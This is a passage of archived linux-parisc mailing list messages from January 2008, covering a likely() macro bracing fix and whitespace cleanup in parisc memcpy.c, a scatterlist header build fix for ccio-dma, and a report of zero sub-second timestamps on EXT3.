so kyle can include this in the next round of parisc patches.

cheers,
grant


> 
> Tia,
>     r.
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
> 
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: What's up of this if (likely()) bracing?
Date: Sat, 05 Jan 2008 17:44:12 +0000
Lines: 264
Approved: news@gmane.org
Message-ID: <477FC1EC.5080406@scarlet.be>
References: <JU2GA0$1DD13473BA78D945C68E7311CB765D2D@scarlet.be> <20080105021358.GB16725@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070309010903020201020400"
X-Trace: ger.gmane.org 1199555073 30685 80.91.229.12 (5 Jan 2008 17:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jan 2008 17:44:33 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 05 18:44:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JBD4n-0005zA-6y
	for glpp-linux-parisc@gmane.org; Sat, 05 Jan 2008 18:44:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755063AbYAERo3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Jan 2008 12:44:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755078AbYAERo3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 5 Jan 2008 12:44:29 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:44542 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755056AbYAERo2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Jan 2008 12:44:28 -0500
Original-Received: from (ip-213-49-88-42.dsl.scarlet.be [213.49.88.42])
        by guri.is.scarlet.be  with ESMTP id m05HiM011267;
        Sat, 5 Jan 2008 18:44:23 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080103)
In-Reply-To: <20080105021358.GB16725@colo.lackof.org>
X-DCC-scarlet.be-Metrics: guri 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:63
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/63>

This is a multi-part message in MIME format.
--------------070309010903020201020400
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Grant Grundler wrote:
> On Thu, Jan 03, 2008 at 12:37:12PM +0100, rubisher wrote:
>> Hello *,
>>
>> I am not sure to have perfectly understand all subtle details of likely() &
>> unlikely() macros but I think there's some brace at the bad place in following
>> chunk:
>> --- arch/parisc/lib/memcpy.c.Orig	2007-10-18 15:27:30.000000000 +0000
>> +++ arch/parisc/lib/memcpy.c	2008-01-03 10:17:52.000000000 +0000
>> @@ -299,7 +299,7 @@
>>  
>>  	/* Check alignment */
>>  	t1 = (src ^ dst);
>> -	if (unlikely(t1 & (sizeof(double)-1)))
>> +	if (unlikely(t1 & (sizeof(double) - 1)))
> 
> Please submit separate patches for the white space clean up.
> 
>>  		goto unaligned_copy;
>>  
>>  	/* src and dst have same alignment. */
>> @@ -405,7 +405,7 @@
>>  
>>  unaligned_copy:
>>  	/* possibly we are aligned on a word, but not on a double... */
>> -	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
>> +	if (likely((t1 & (sizeof(unsigned int) - 1)) == 0)) {
>>  		t2 = src & (sizeof(unsigned int) - 1);
>>  
>>  		if (unlikely(t2 != 0)) {
>> === <> ===
>> First hunk is just to add some whitespace?
>>
>> Otoh for the second hunk, my reading of the original stuff was that:
>>> likely(t1 & (sizeof(unsigned int)-1)) 
>> i.e. likely's macro embraced only "t1 & (sizeof(unsigned int)-1)" in place of
>> "(t1 & (sizeof(unsigned int)-1)) == 0".
>>
>> What's your opinion?
> 
> I think you are right. normally likely() and unlikely() are intended
> to be used with boolean expressions and that's obviously not the case.
> 
> Please resubmit this change separately and add "signed-off-by" lines
> so kyle can include this in the next round of parisc patches.
> 
> cheers,
> grant
> 
> 
Grant,

Ok here there are:
a white space cleanup/beautify patch:
Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>
Index: linux-current/arch/parisc/lib/memcpy.c
===================================================================
--- linux-current.orig/arch/parisc/lib/memcpy.c	2008-01-05 13:37:04.000000000 +0000
+++ linux-current/arch/parisc/lib/memcpy.c	2008-01-05 13:55:21.000000000 +0000
@@ -21,28 +21,28 @@
   *    Copyright (C) 1991, 1997, 2003 Free Software Foundation, Inc.
   *
   * Several strategies are tried to try to get the best performance for various
- * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using
+ * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using
   * fp regs. This is followed by loops that copy 32- or 16-bytes at a time using
- * general registers.  Unaligned copies are handled either by aligning the
- * destination and then using shift-and-write method, or in a few cases by
+ * general registers.  Unaligned copies are handled either by aligning the
+ * destination and then using shift-and-write method, or in a few cases by
   * falling back to a byte-at-a-time copy.
   *
   * I chose to implement this in C because it is easier to maintain and debug,
   * and in my experiments it appears that the C code generated by gcc (3.3/3.4
- * at the time of writing) is fairly optimal. Unfortunately some of the
+ * at the time of writing) is fairly optimal. Unfortunately some of the
   * semantics of the copy routine (exception handling) is difficult to express
   * in C, so we have to play some tricks to get it to work.
   *
   * All the loads and stores are done via explicit asm() code in order to use
- * the right space registers.
- *
- * Testing with various alignments and buffer sizes shows that this code is
+ * the right space registers.
+ *
+ * Testing with various alignments and buffer sizes shows that this code is
   * often >10x faster than a simple byte-at-a-time copy, even for strangely
   * aligned operands. It is interesting to note that the glibc version
- * of memcpy (written in C) is actually quite fast already. This routine is
- * able to beat it by 30-40% for aligned copies because of the loop unrolling,
- * but in some cases the glibc version is still slightly faster. This lends
- * more credibility that gcc can generate very good code as long as we are
+ * of memcpy (written in C) is actually quite fast already. This routine is
+ * able to beat it by 30-40% for aligned copies because of the loop unrolling,
+ * but in some cases the glibc version is still slightly faster. This lends
+ * more credibility that gcc can generate very good code as long as we are
   * careful.
   *
   * TODO:
@@ -154,7 +154,7 @@
  #endif

  /* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
- * per loop.  This code is derived from glibc.
+ * per loop.  This code is derived from glibc.
   */
  static inline unsigned long copy_dstaligned(unsigned long dst, unsigned long src, unsigned long len, unsigned long o_dst, 
unsigned long o_src, unsigned long o_len)
  {
@@ -299,7 +299,7 @@

  	/* Check alignment */
  	t1 = (src ^ dst);
-	if (unlikely(t1 & (sizeof(double)-1)))
+	if (unlikely(t1 & (sizeof(double) - 1)))
  		goto unaligned_copy;

  	/* src and dst have same alignment. */
@@ -322,7 +322,7 @@

  #if 0
  	/* Copy 8 doubles at a time */
-	while (len >= 8*sizeof(double)) {
+	while (len >= 8 * sizeof(double)) {
  		register double r1, r2, r3, r4, r5, r6, r7, r8;
  		/* prefetch_src((char *)pds + L1_CACHE_BYTES); */
  		flddma(s_space, pds, r1, pmc_load_exc);
@@ -346,7 +346,7 @@
  		fstdma(d_space, r6, pdd, pmc_store_exc);
  		fstdma(d_space, r7, pdd, pmc_store_exc);
  		fstdma(d_space, r8, pdd, pmc_store_exc);
-		len -= 8*sizeof(double);
+		len -= 8 * sizeof(double);
  	}
  #endif

@@ -354,7 +354,7 @@
  	pwd = (unsigned int *)pdd;

  word_copy:
-	while (len >= 8*sizeof(unsigned int)) {
+	while (len >= 8 * sizeof(unsigned int)) {
  		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
  		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
  		ldwma(s_space, pws, r1, pmc_load_exc);
@@ -374,7 +374,7 @@
  		stwma(d_space, r6, pwd, pmc_store_exc);
  		stwma(d_space, r7, pwd, pmc_store_exc);
  		stwma(d_space, r8, pwd, pmc_store_exc);
-		len -= 8*sizeof(unsigned int);
+		len -= 8 * sizeof(unsigned int);
  	}

  	while (len >= 4*sizeof(unsigned int)) {
@@ -387,7 +387,7 @@
  		stwma(d_space, r2, pwd, pmc_store_exc);
  		stwma(d_space, r3, pwd, pmc_store_exc);
  		stwma(d_space, r4, pwd, pmc_store_exc);
-		len -= 4*sizeof(unsigned int);
+		len -= 4 * sizeof(unsigned int);
  	}

  	pcs = (unsigned char *)pws;
@@ -438,7 +438,7 @@
  		src = (unsigned long)pcs;
  	}

-	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int),
+	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int),
  		o_dst, o_src, o_len);
  	if (ret)
  		return ret;
=== <> ===


and
a fixe of likely's macro usage:
Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>
Index: linux-current/arch/parisc/lib/memcpy.c
===================================================================
--- linux-current.orig/arch/parisc/lib/memcpy.c	2008-01-05 13:57:26.000000000 +0000
+++ linux-current/arch/parisc/lib/memcpy.c	2008-01-05 13:58:01.000000000 +0000
@@ -405,7 +405,7 @@

  unaligned_copy:
  	/* possibly we are aligned on a word, but not on a double... */
-	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+	if (likely((t1 & (sizeof(unsigned int) - 1)) == 0)) {
  		t2 = src & (sizeof(unsigned int) - 1);

  		if (unlikely(t2 != 0)) {
=== <> ===

Tx again,
	r.


ps: 1/ I also attached patches' file as compressed format
     2/ I will also ask fsf to update may 'Discalimer request' to change my email address and extend it to linux tree :<)


--------------070309010903020201020400
Content-Type: application/x-gzip;
 name="beautify-memcpy.c.patch.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="beautify-memcpy.c.patch.gz"

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
usGp/IwSAAA=
--------------070309010903020201020400
Content-Type: application/x-gzip;
 name="fix-likely-memcpy.c.patch.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="fix-likely-memcpy.c.patch.gz"

H4sICJCNf0cAA2ZpeC1saWtlbHktbWVtY3B5LmMucGF0Y2gApY/daoQwEIWvzVOc3hRdNyba
2l0sgrd9iqIxuw3NJhINu7Yv31qx9IddCh2YGRjmO2fmwbTyVEAr409UeOekGVjtxBPraqd6
wbRq2EEeRDcmgpT/D0Ip/W6XWKf2Zz2DjPMt5SnlOdKbIt8U2V3Cl0A8VRLH8R9f+Cm3LXj6
S66qQG95vt4gnltVERB4U2u1N7J9FLYbC4KArdDZvleNHnGUqN17ziuwBjWO1rVrNH6AscM8
aq1vtEySBCtGaKB2CLV6lnoMhxTXCHv1Iu0u9KafdZQZIppGEcoSPMIrib8yFyBQfGIThyAY
MpTonbiI3E+vBh8m3iynZbhadN4A2IcyTTICAAA=
--------------070309010903020201020400--
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: ccio-dma/iommu-helper in 2.6.24-rc4
Date: Sat, 05 Jan 2008 18:35:48 +0000
Lines: 95
Approved: news@gmane.org
Message-ID: <477FCE04.2070505@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1199558165 7712 80.91.229.12 (5 Jan 2008 18:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jan 2008 18:36:05 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 05 19:36:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JBDsc-0005lX-Ap
	for glpp-linux-parisc@gmane.org; Sat, 05 Jan 2008 19:36:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756119AbYAESf5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Jan 2008 13:35:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756005AbYAESf5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 5 Jan 2008 13:35:57 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:41902 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756119AbYAESf4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Jan 2008 13:35:56 -0500
Original-Received: from (ip-213-49-88-42.dsl.scarlet.be [213.49.88.42])
        by guri.is.scarlet.be  with ESMTP id m05IZs012636;
        Sat, 5 Jan 2008 19:35:54 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080103)
X-DCC-scarlet.be-Metrics: guri 20001; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:64
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/64>

Hello Kyle,

While building new 2.6.24-rc4 (from your parisc-2.6.git tree) I encount=
ered the following issue:

   gcc -Wp,-MD,drivers/parisc/.ccio-dma.o.d  -nostdinc -isystem /usr/li=
b/gcc/hppa-linux-gnu/4.2.3/include -D__KERNEL__=20
-Iinclude -Iinclude2 -I/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/incl=
ude -include include/linux/autoconf.h=20
-I/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drivers/parisc -Idrivers/=
parisc -Wall -Wundef -Wstrict-prototypes=20
-Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-functi=
on-declaration -O2 -pipe -mno-space-regs=20
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=3D1.1=
 -mschedule=3D7200 -fomit-frame-pointer=20
-fno-stack-protector -Wdeclaration-after-statement -Wno-pointer-sign  -=
D"KBUILD_STR(s)=3D#s"=20
-D"KBUILD_BASENAME=3DKBUILD_STR(ccio_dma)"  -D"KBUILD_MODNAME=3DKBUILD_=
STR(ccio_dma)" -c -o drivers/parisc/ccio-dma.o=20
/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drivers/parisc/ccio-dma.c
/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drivers/parisc/ccio-dma.c: =
In function 'ccio_alloc_range':
/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drivers/parisc/ccio-dma.c:4=
28: warning: unused variable 'res_idx'
In file included from /CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drive=
rs/parisc/ccio-dma.c:982:
/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drivers/parisc/iommu-helper=
s.h: In function 'iommu_fill_pdir':
/CAD/linux-2.6.24-rc4-pa-git-20071206-trace/drivers/parisc/iommu-helper=
s.h:67: error: implicit declaration of function 'sg_virt'

After a short search, I find a similar pb in <http://www.kernel.org/pub=
/linux/kernel/v2.6/snapshots/patch-2.6.24-rc1-git1.log>:
[snip]
commit 18ccc4194389c6edc78ede76ada3bf753525b11c
Author: Haavard Skinnemoen <hskinnemoen@atmel.com>
Date:   Wed Oct 24 10:16:02 2007 +0200

     AVR32: Fix sg_page breakage

     The latest sg changes introduce the following build errors on AVR3=
2:

     include/asm/dma-mapping.h: In function =91dma_map_sg=92:
     include/asm/dma-mapping.h:220: error: implicit declaration of func=
tion =91sg_page=92
     include/asm/dma-mapping.h:220: error: invalid operands to binary -
     include/asm/dma-mapping.h:221: error: implicit declaration of func=
tion =91sg_virt=92
     include/asm/dma-mapping.h:221: warning: assignment makes pointer f=
rom integer without a cast
     include/asm/dma-mapping.h: In function =91dma_sync_sg_for_device=92=
:
     include/asm/dma-mapping.h:330: warning: passing argument 2 of =91d=
ma_cache_sync=92 makes pointer from integer without a cast

     Fix it by including the correct header file, i.e. linux/scatterlis=
t.h
     instead of asm/scatterlist.h.

     Signed-off-by: Haavard Skinnemoen <hskinnemoen@atmel.com>
[snip]

and so tied the same fix:
Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>
Index: linux-trace-pa/include/asm-parisc/dma-mapping.h
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
--- linux-trace-pa.orig/include/asm-parisc/dma-mapping.h	2008-01-05 15:=
26:28.000000000 +0000
+++ linux-trace-pa/include/asm-parisc/dma-mapping.h	2008-01-05 15:26:56=
=2E000000000 +0000
@@ -2,8 +2,8 @@
  #define _PARISC_DMA_MAPPING_H

  #include <linux/mm.h>
+#include <linux/scatterlist.h>
  #include <asm/cacheflush.h>
-#include <asm/scatterlist.h>

  /* See Documentation/DMA-mapping.txt */
  struct hppa_dma_ops {
=3D=3D=3D <> =3D=3D=3D

What do you think about?

Tia,
	r.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Nanoseconds times on EXT3 always seem to be zero
Date: Sun, 6 Jan 2008 15:13:38 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200801062013.m06KDdht008111@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1199650446 23622 80.91.229.12 (6 Jan 2008 20:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Jan 2008 20:14:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 06 21:14:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JBbt1-000143-4r
	for glpp-linux-parisc@gmane.org; Sun, 06 Jan 2008 21:14:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753081AbYAFUNt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Jan 2008 15:13:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753612AbYAFUNs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Jan 2008 15:13:48 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1063 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753081AbYAFUNr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Jan 2008 15:13:47 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m06KDf6Q008121
	for <linux-parisc@vger.kernel.org>; Sun, 6 Jan 2008 15:13:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m06KDdht008111
	for linux-parisc@vger.kernel.org; Sun, 6 Jan 2008 15:13:39 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:65
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/65>

On an EXT3 file system, I see the following:

dave@mx3210:~$ touch xyzzy
dave@mx3210:~$ ls --full-time xyzzy
-rw-r--r-- 1 dave dave 0 2008-01-06 15:07:01.000000000 -0500 xyzzy

However, on tmpfs, proc, etc., I see the sub-seconds time.  This is
2.6.22.14 and 2.6.22.15.

The behavior of 32 and 64-bit kernels seems to be the same.

With an old 2.6 x86 kernel (suse), I see sub-second times on a EXT3
file system.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Nanoseconds times on EXT3 always seem to be zero
Date: Mon, 7 Jan 2008 12:42:56 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440801070942v2693dfc2y556cc4aa415c5179@mail.gmail.com>
References: <200801062013.m06KDdht008111@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1199727796 23544 80.91.229.12 (7 Jan 2008 17:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jan 2008 17:43:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 07 18:43:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JBw0d-0002PX-UD
	for glpp-linux-parisc@gmane.org; Mon, 07 Jan 2008 18:43:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754710AbYAGRm7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jan 2008 12:42:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754708AbYAGRm6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Jan 2008 12:42:58 -0500
Original-Received: from rv-out-0910.google.com ([209.85.198.186]:12323 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755851AbYAGRm5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jan 2008 12:42:57 -0500
Original-Received: by rv-out-0910.google.com with SMTP id k20so7162051rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 07 Jan 2008 09:42:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=Prmad0S4YB5GKaQzdFzWiRefc+jtQEgG4waaHQ1kjag=;
        b=UrHTRFXQsTBZENEyfnIe/Pvf3Q2cNl/MUJGRJ+NKy49XYuQVVKh5FQKcJ0W5Bw30kt8zY4bZ4LeqiW98bG1W9M6XvwG8B9s/N2IfipTAJzXljfrOoh/NxISkdU+/fLs+WbYBjIpcMr8NP27ZLBCALZoiOkDVINsYiydSAGPGnqo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
